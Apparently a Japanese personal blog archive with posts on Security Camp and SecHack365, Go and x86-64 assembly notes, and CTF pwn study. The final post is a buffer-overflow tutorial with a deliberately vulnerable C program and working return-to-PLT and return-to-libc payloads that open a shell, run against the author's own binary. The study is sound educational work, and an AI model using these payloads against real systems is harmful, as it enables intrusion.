やる

人生後方歩行

今週の一言 : やる気が少しづつ戻ってこい

キャンプに行った ~ セキュリティ・キャンプ全国大会 2019 チューター参加記 ~

  

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セキュリティ・キャンプ
 今年度もセキュリティキャンプ全国大会に参加してきたのでブログを書きたいと思ういます。

 今年度は昨年とは異なりチューター*1として参加して感じたことと、どのような意識の変化があったかを書ければいいなと思います。


*1 : 講義・運営のサポートや参加者のフォロー、そして成果報告プレゼンテーション(LT)などをしてキャンプを支える業務

チューターの日程

Day 内容
8/12(月) 事前準備
8/13(火) オリエンテーション/グループワークサポート/LT大会
8/14(水) 必須講義/ホームルーム
8/15(木) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/16(金) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/17(土) 集合写真/成果報告/閉会式への参加

チューターと受講生は何が違うの?

講師・プロデューサーとより近くで話せる

最後に

おまけ

LTで話した資料

※外部公開版なので一部スライドを削除しております

SecHack365にいきました ~ 神奈川編 ~

どうもazaraです。5/16(金) ~ 5/18(日)にSecHack365第1回の集合があったので、それについて書いていきたいと思います。 目次

SecHackとは?

国立研究開発法人情報通信研究機構(NICT)が実施する人材育成プログラムの一種で、下記の引用文のような内容を行い、1年間を通じ物作りをしていくものになります。

25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。

詳しい内容はこちらから sechack365.nict.go.jp

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SecHack365に行ってきた

第1回集合までの諸情報

参加コースと題材

 自分が参加したコースは開発駆動コースの仲山ゼミで、開発の題材は「DevSecOpsのdeploy段階に組み入れやすい脆弱性診断ソフトウェアの開発」を題材に開発を進めていこうと思っています。

SecHack365に参加すると決めるまでの経緯

 参加の経緯として、自分の所属するサークルの先輩が昨年参加をしており、その話を聞いていて「開発もできてアウトプットもできて、温泉も入れるなんでなんて素晴らしいイベントなんだ!」とおもい参加をしようと思い立ちました。

 ただ、その時点では思い立っただけでどんなコースがあるのか、自分が何を開発していきたいのかも定まっていなかったので若干焦り気味ではありました。なんとかまとまるもので締め切り3日前までに作りたいソフトウェアの大まかな構成なども書き出し添付資料として提出することができました。

思い立ったら吉日

 思い立ったら吉日と言わんばかりに、合否の連絡が来る前であるにも関わらず、前提知識の収集や実装可能であれば神奈川集合までにコツコツとコードを書いていこうと考えて、時間があったらコードを書いてコミットをする生活をしていました。

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草を生やす

第1回神奈川回

開始前にお昼を食べなければならなかったので近くのカフェでピザを食す

 1日目はオリエンテーションやセキュリティイノベーターになるヒントや道筋を定めるための考え方(アイデア脳になる方法)やマンダラートの手法について話を聞きました。

 夜にはトレーナーさんを囲みトレーナーさんの得意な分野や考え方などについてお話を聞きました。1日目ということもあり緊張感からトレーナーさんに質問ができなかったのが悔やまれます。

 2日目は主にサイバーセキュリティに関する脅威を想定したアイデアソンを行いました。自分自身初めてのアイデアソンということもあり、新鮮な気持ちで挑むことができました。このアイデアソン自体、初めて対面で会ったチームメンバーと物事を考え、話をまとめなければならなかったので初めはうまくいくのかと心配ではありました。しかし同じ班のメンバーが話をまとめてくれたり修正してくれたりと互いに助け合いながら発表ができたので、よかったなと思っています。この場を借りてIチームだったメンバーに感謝の意を示したいと思います。

 また個人的な反省点として、出てきたアイデアの中にあった基礎的な技術知識がなくうまくいかなかったので、もっと短時間で情報の収集ができるように努力していきたいと思いました。

 2日目の夜と3日目はコースワークということで、自己紹介と自分の作りたいものの説明、進捗と今後の目標を発表しました。メンバー全員がある程度のプロトタイプのようなものや概念実証をした上で集まっていたので、正直驚き半分、尊敬半分であっけにとられていました。  

所感

 これからおおよそ8ヶ月の期間で自分の実装したいものが完成するのかどうかはまだわかりませんが、形として見せられるレベルまでに持っていけたらと思っています。

 まずは楽しくHackすることを目標に日々を頑張っていきます!

Goに慣れたいのでWebアプリケーションを作る - 01: Go言語によるWebアプリケーション開発 Web Chat編 -

書き出し

Goを学んだのに今の今までGoを使わずに生活していたので、何かしら作ってみてGoに慣れようと思った。

参考にした書籍

Go言語によるWebアプリケーション開発

www.oreilly.co.jp

感想

第3章までやって

今回は書籍の3章までをを参考にしてWebアプリ作成のチュートリアルがわりに、簡単なChatアプリを作成しました。 実際に作成して思ったことを下記に書きます。

作成時に思ったこと

  • PHPに比べ、Goはコードの量が少し多くなってしまうな
  • testが書きやすい
  • net/httpが万能すぎる
  • オブジェクト指向ではないが構造体とメソッドが便利
  • 非同期がデフォルトで利用できるのは最強なのでは

個人的に思ったこととして、Go+標準ライブラリ+少しのOSSフレームワークのような使い方ができるのが自分の中ですごいなと思ったポイントでした。また、Go自体が書きやすく、書いていて楽しくなっていくのでもっと触れて、慣れていきたいと思います。

第4章以降に向けて

ただ本を写すのではなく、せっかくgo testがあるのでうまく組み合わせながらより積極的なテスト開発の練習を行なっていきたいなと思った次第。

GitHub

github.com

アセンブリ言語について少し学ぶ

書き出し

アセンブリ言語について少し学ぶ。 メモ程度のもの。

本文

コマンド

# nasmは Netwide Assemblerの略称
nasm -f<format> <in> -o <out>
#optin
#-f : format
# リンク用のGNUコマンド
ld -o <out> <in>

メモ

hello.asm

global _start

section .data
message:db 'hello, world!',10

section .text
_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, message
    mov rdx, 15
    syscall
    mov rax, 60
    xor rdi, rdi
    syscall

この場合、.data(global 変数)db(data byte)の変数mesageを配置している。 また命令セクションである.textに_start命令を配置し、syscallの呼び出し準備を行う。

syscall呼び出し時のレジスタ内部

今回自分の中で確認するために、はじめのwriteのコール時のシステムコールを元に解釈していく。

レジスタ 意味 内容
rax 1 system call system call number
rdi 1 第一引数 discription(書き込み先)
rsi message 第二引数 文字列の先頭アドレス
rdx 14 第三引数 書き込むバイト数

C言語で表すとこのような表示になる。

#include <unistd.h>
ssize_t write(int fd , const void * buf , size_t count );

syscall実行時にraxからwriteが実行され、引数として先頭からrdi,rsi,rdxが配置される。

変数の定義

表記 意味
db data byte|1byte
dw data word|2byte
dd data double word|4byte
dq data quad word|8byte

section .data
example1:db 1, 1, 2, 3, 5, 7
example2:times 999 db 1
example3:dw 999

times はn回文cmdを繰り返すことを意味する。

変数(data)は、どのセクションの内側でも作ることができる。 CPUから見ればデータも一つの命令となるので解釈される。

ニーモニック

実際にelfファイルにし、確認してみようと思う。

次のような内容になっており。しっかりと.data.textにセクションが割り当てられていることがわかる。

$ objdump -D hello
hello:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       b8 01 00 00 00          mov    $0x1,%eax
  4000b5:       bf 01 00 00 00          mov    $0x1,%edi
  4000ba:       48 be d8 00 60 00 00    movabs $0x6000d8,%rsi
  4000c1:       00 00 00
  4000c4:       ba 0f 00 00 00          mov    $0xf,%edx
  4000c9:       0f 05                   syscall
  4000cb:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000d0:       48 31 ff                xor    %rdi,%rdi
  4000d3:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000d8 <message>:
  6000d8:       68 65 6c 6c 6f          pushq  $0x6f6c6c65
  6000dd:       2c 20                   sub    $0x20,%al
  6000df:       77 6f                   ja     600150 <_end+0x68>
  6000e1:       72 6c                   jb     60014f <_end+0x67>
  6000e3:       64 21 0a                and    %ecx,%fs:(%rdx)

局所ラベルの利用とレジスタの出力

section .data
codes:
    db '0123456789ABCDEF'

section .text
global _start
_start:
    mov rax, 0x1122334455667788
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    jmp .loop
    ;このstartで、rax内に値が存在する状況を生成。

.loop:
    ; 16文字の出力を行うためにこのloopで出力を行う。
    ; 先の_startで設定したカウンタレジスタ内に16バイト分の数値を設定し、それを減算することにより文字列を出力する。
    push rax    
    ; raxの値を退避させることにより、値を保持。
    sub rcx, 4  
    sar rax, cl
    and rax, 0xf
    lea rsi, [codes + rax]
    ;[codes + rax]は相対アドレスを意味する。
    mov rax, 1
    push rcx
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz .loop
    ; testで0でないことを確認してから、.loopへ飛ばす。
    ; 文字数がなくなった時点でloop処理を終了し、exitする。
    mov rax, 60
    xor rdi, rdi
    syscall

.loopのように先頭にピリオドを配置することにより局所的なラベルとして機能する。

今回の場合_start.loopという扱いになる。

$ objdump -D ./print_rax

./print_rax:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       48 b8 88 77 66 55 44    movabs $0x1122334455667788,%rax
  4000b7:       33 22 11
  4000ba:       bf 01 00 00 00          mov    $0x1,%edi

  4000bf:       ba 01 00 00 00          mov    $0x1,%edx
  4000c4:       b9 40 00 00 00          mov    $0x40,%ecx
  4000c9:       eb 00                   jmp    4000cb <_start.loop>

00000000004000cb <_start.loop>:
  4000cb:       50                      push   %rax
  4000cc:       48 83 e9 04             sub    $0x4,%rcx
  4000d0:       48 d3 f8                sar    %cl,%rax
  4000d3:       48 83 e0 0f             and    $0xf,%rax
  4000d7:       48 8d b0 f8 00 60 00    lea    0x6000f8(%rax),%rsi
  4000de:       b8 01 00 00 00          mov    $0x1,%eax
  4000e3:       51                      push   %rcx
  4000e4:       0f 05                   syscall
  4000e6:       59                      pop    %rcx
  4000e7:       58                      pop    %rax
  4000e8:       48 85 c9                test   %rcx,%rcx
  4000eb:       75 de                   jne    4000cb <_start.loop>
  4000ed:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000f2:       48 31 ff                xor    %rdi,%rdi
  4000f5:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000f8 <codes>:
  6000f8:       30 31                   xor    %dh,(%rcx)
  6000fa:       32 33                   xor    (%rbx),%dh
  6000fc:       34 35                   xor    $0x35,%al
  6000fe:       36                      ss
  6000ff:       37                      (bad)
  600100:       38 39                   cmp    %bh,(%rcx)
  600102:       41                      rex.B
  600103:       42                      rex.X
  600104:       43                      rex.XB
  600105:       44                      rex.R
  600106:       45                      rex.RB
  600107:       46                      rex.RX

関数のcall

いままではラベルを利用して、jampしそこで実行されるなどを行ってきたが、実際に関数をコールしたいと思う。

push rip
jmp <address>

このようにコールする際は、ripをstack内に保存し、ジャンプする。

関数の利用

実際に関数を利用し、printを実装する。

アセンブラで関数を実装するのには特にラベルとの違うところはない。

主に、異なる箇所は、retやpushによる値の保存を行っているところであろう。

section .data

demo1: dq 0x1122334455667788
demo2: db 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88
demo3: db '0123456789abcdef'
newline_char: db 10

section .text
global _start

print_newline:
    ; いつもの初期設定
    mov rax, 1
    mov rdi, 1
    mov rsi, newline_char
    mov rdx, 1
    syscall
    ret

print_hex:
    mov rax, rdi
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    ; rax をシフトするビット数

iterate:
    push rax
    sub rcx, 4
    sar rax, cl
    ; 右にシフト回転させる
    and rax, 0xf
    ; 下位4ビット以外を初期化
    lea rsi, [codes + rax]
    ; 16進数の文字コードを取得
    mov rax, 1
    push rcx ; write自体がrcxを破壊するので退避する。
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz iterate
    ret

_start:
    mov rdi, [demo1]
    ; [demo1]がdemo1の先頭アドレスをを与える。
    call print_hex
    call print_newline

    mov rdi, [demo2]
    call print_hex
    call print_newline

    mov rdi, [demo3]
    call print_hex
    call print_newline

    mov rax, 60
    xor rdi, rdi
    syscall

何かあれば追記する。

登竜門的なものを叩いてみる話 #02

書き出し

記事を解いたら解けた。

前回の記事の継続です。

本文

年明けから考えてた目標を一つクリアしたので満足しています。

知識的に前回の記事の知識と、 azara.hatenablog.com

katagaitai CTF勉強会の#2のスライドを読んだら解けたので困っている人がいたら読んでみてください。

画像群

f:id:oukasakura3:20190216182240p:plain
villeger Bを解いた
f:id:oukasakura3:20190216182237p:plain
証跡

登竜門的なものを叩いてみる話 #01

書き出し

「Pwnをしてみたい。」

と思ったのでctf4u のpwn challenges listを進めてみる。

本文

villager Bが解けたらブログを書こうと思っていたのですが、少し長引きそうだなと思ったので、先にvillager Aを解いたことを報告するブログを書こうと思い書きました。

Playする前にハロー“Hello, World"OSと標準ライブラリのシゴトとしくみとハリネズミ本に目を通していたのでそこまで不便することなく解けました。

各本で助かったこと

ハロー“Hello, World"OSと標準ライブラリのシゴトとしくみ

  • GDBの使い方をあまり意識せずに使えるようになっていた。
  • 引数を含めたStackの構造を先に学んでいたので、ハリネズミ本で言っている内容がすんなり入る。

ハリネズミ

  • 調査の仕方や、exploit codeの書き方などが学べた。
  • セキュリティ機構などについてまとめられていて、調査の手法など多くを得られた。
  • eipを制御下に置く方法について触れられた。(模擬的なcall)
  • ちょっとだけx86に抵抗感がなくなった。

所感

villager Aとvillager Bの難易度の差に少しびっくりしていますが、今後も少しづつ進めていきたい。

バッファオーバーフロー入門のためにしたメモ その2

書き出し

前回の継続で勉強した内容を書き出す記事です。

azara.hatenablog.com

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ sudo sysctl -w kernel.randomize_va_space=0

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

実験

実験コード

#include<stdio.h>
#include<string.h>

char buf[64];

int
main()
{
    char local[64];
    printf("buffer 0x%x \n",&buf);
    fgets(local,128,stdin);
    strcpy(buf,local);
    return 0;
}

観察

前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。

[1] 溢れ出た値の確認

先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。

アドレスを書き換えられた様子

$ python -c 'print("A"*70)' | strace -i ./ret 
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=16520 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
~~~中略~~~
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

実際に動かすに際し、このようなアドレスにブレークポイントを設置する。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp+0x4],0x804a060
   0x080484ae <+17>: mov    DWORD PTR [esp],0x8048590
   0x080484b5 <+24>: call   0x8048350 <printf@plt>
   0x080484ba <+29>: mov    eax,ds:0x804a040
   0x080484bf <+34>: mov    DWORD PTR [esp+0x8],eax
   0x080484c3 <+38>: mov    DWORD PTR [esp+0x4],0x80
   0x080484cb <+46>: lea    eax,[esp+0x10]
   0x080484cf <+50>: mov    DWORD PTR [esp],eax
   0x080484d2 <+53>: call   0x8048360 <fgets@plt>
   0x080484d7 <+58>: lea    eax,[esp+0x10]
   0x080484db <+62>: mov    DWORD PTR [esp+0x4],eax
   0x080484df <+66>: mov    DWORD PTR [esp],0x804a060
   0x080484e6 <+73>: call   0x8048370 <strcpy@plt>
   0x080484eb <+78>: mov    eax,0x0
   0x080484f0 <+83>: leave  
   0x080484f1 <+84>: ret    
End of assembler dump.
gdb-peda$ b main 
Breakpoint 1 at 0x80484a0
gdb-peda$ b *main+53
Breakpoint 2 at 0x80484d2
gdb-peda$ b *main+83
Breakpoint 3 at 0x80484f0

プログラム起動直後のスタック領域としては次のようになるだろう。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | アドレスに入っていたデータ
    +------------------+
    |Saved EBP         | 0x00000000
    +------------------+
    |Return Address    | 0xf7e2caf3 in __libc_start_main () 
    +------------------+
0xffffffff方向
高位アドレス

入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力

gdb-peda$ where
#0  0x080484d7 in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()
gdb-peda$ x/32xw $esp
0xffffd670: 0xffffd680  0x00000080  0xf7fc0c20  0xf7e462f3
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6c0: 0x41414141  0x000a4141  0x00000000  0xf7e2caf3
0xffffd6d0: 0x00000001  0xffffd764  0xffffd76c  0xf7feae6a
0xffffd6e0: 0x00000001  0xffffd764  0xffffd704  0x0804a01c

確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。

書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'で任意のアドレスに飛びそうだと考えられる。

まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。

[2] アドレスの書き換え

アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。

もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値のような形で変換するツールを作った。

これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
buffer 0x804a060 
buffer 0x804a060 
Segmentation fault (コアダンプ)

実際に2度動いた。

確認のためにstraceをかませてみよう。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=17009 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
[f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0
[f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000
~~~中略~~~
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] read(0, "", 4096)            = 0
[0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

f7fdb430が2度確認できるので実際に2度動作したことがわかった。

[3] 任意の命令実行

Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。

はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。

  • ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。

まずはobjdumpでplt内部のアドレス情報を把握する。

$ objdump -d -j .plt --no ret

ret:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:  pushl  0x804a004
 8048346:  jmp    *0x804a008
 804834c:   add    %al,(%eax)
    ...

08048350 <printf@plt>:
 8048350:  jmp    *0x804a00c
 8048356:  push   $0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:  jmp    *0x804a010
 8048366:  push   $0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:  jmp    *0x804a014
 8048376:  push   $0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:  jmp    *0x804a018
 8048386:  push   $0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:  jmp    *0x804a01c
 8048396:  push   $0x20
 804839b:   jmp    8048340 <_init+0x28>

今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./retにアドレスをと必要なものを書き足していく。

関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。

このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0x08048350 printf@plt : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret
buffer 0x804a060 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`?
buffer 0xffff000a 
Segmentation fault (コアダンプ)

入力した値と、bufferのアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。

次に実行ファイルにリンクしているlibcから命令を呼び出してみる。

実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e53310 <system>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0xf7e60410 <printf>
gdb-peda$ p fgets
$3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets>
gdb-peda$ p malloc
$4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>

今回はシェルを立ち上げるために/bin/sh #を先頭に割り当て、systemでそれを実行する。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0xf7e53310 <system> : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret
buffer 0x804a060 
ls
gadget  gadget.c  peda-session-ret.txt  ret  ret.c  test
exit
buffer 0xffff000a 
ls
exit
Segmentation fault (コアダンプ)

シェルの起動を確認し、コマンド入力も可能なことがわかった。

今回のメモはここまで。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ

Debugging with GDB - データの検査

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方